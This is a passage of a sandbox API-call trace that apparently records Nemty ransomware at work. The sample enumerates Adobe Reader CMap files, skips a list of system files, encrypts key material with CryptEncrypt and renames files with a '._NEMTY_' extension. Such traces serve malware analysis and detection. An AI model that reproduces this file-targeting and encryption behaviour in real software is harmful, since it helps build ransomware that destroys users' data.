lpString2=".") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="..") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="...") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="windows") returned -1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="rsa") returned -1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="NTDETECT.COM") returned -1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="ntldr") returned -1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="MSDOS.SYS") returned -1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="IO.SYS") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="boot.ini") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="boot.ini") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="ntuser.dat") returned -1 [0209.039] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="desktop.ini") returned 1 [0209.040] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="CONFIG.SYS") returned 1 [0209.040] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="RECYCLER") returned -1 [0209.040] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0209.040] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="bootmgr") returned 1 [0209.040] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="programdata") returned -1 [0209.040] lstrcmpiW (lpString1="KSC-EUC-V", lpString2="appdata") returned 1 [0209.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0209.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0209.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0209.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0209.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSC-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSC-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0209.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.040] Sleep (dwMilliseconds=0x5) [0209.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x303e3db0, dwHighDateTime=0x1d561e8)) [0209.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x303e3db0, dwHighDateTime=0x1d561e8)) [0209.055] GetLastError () returned 0x5 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.056] GetLastError () returned 0x5 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.056] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0209.056] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="+eOCdiutBiUZkG5aEklnTnXVYvFTJZPFFEwoNcz5tHXlwTbZFzStxyFVGyFJBkNm\r\nRtedQbQrN6DdbwSj5PL+5NDjAKYsQxIaLCzOqkHrXokILyS20+9qbk3DZFBLCjnM\r\n/tC/FLC4ZuJ698bSdhTxUzhhGvmmwnUgzWs6sYIeijrhbAMIPcm1tmwUa6nEp+XY\r\nAabCy3BnfIoa/idlljqmj7Lpw+j5pks1MZ/x/OaUdsXfr0TnacYbCDznio3HbkNb\r\nkDK5MS/yGN6VT6JJjsHUORffi6Z32vWQfpyNKg624sAOvDIs1UHWXAs2598IB/xp\r\nnweF/v/WhFdBcZEtbnm9RQ==\r\n", pcchString=0x653e91c) returned 1 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0209.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0209.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0209.056] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.057] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.165] CloseHandle (hObject=0xffffffff) returned 0 [0209.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.165] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-v._nemty_kgobjgd_")) returned 0 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.165] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4191, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-H", cAlternateFileName="KSCMS-~1")) returned 1 [0209.165] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2=".") returned 1 [0209.165] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="..") returned 1 [0209.165] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="...") returned 1 [0209.165] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="windows") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="$RECYCLE.BIN") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="rsa") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="NTDETECT.COM") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="ntldr") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="MSDOS.SYS") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="IO.SYS") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="boot.ini") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="boot.ini") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="AUTOEXEC.BAT") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="ntuser.dat") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="desktop.ini") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="CONFIG.SYS") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="RECYCLER") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="BOOTSECT.BAK") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="bootmgr") returned 1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="programdata") returned -1 [0209.166] lstrcmpiW (lpString1="KSCms-UHC-H", lpString2="appdata") returned 1 [0209.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-H", lpUsedDefaultChar=0x0) returned 11 [0209.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-H", lpUsedDefaultChar=0x0) returned 11 [0209.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 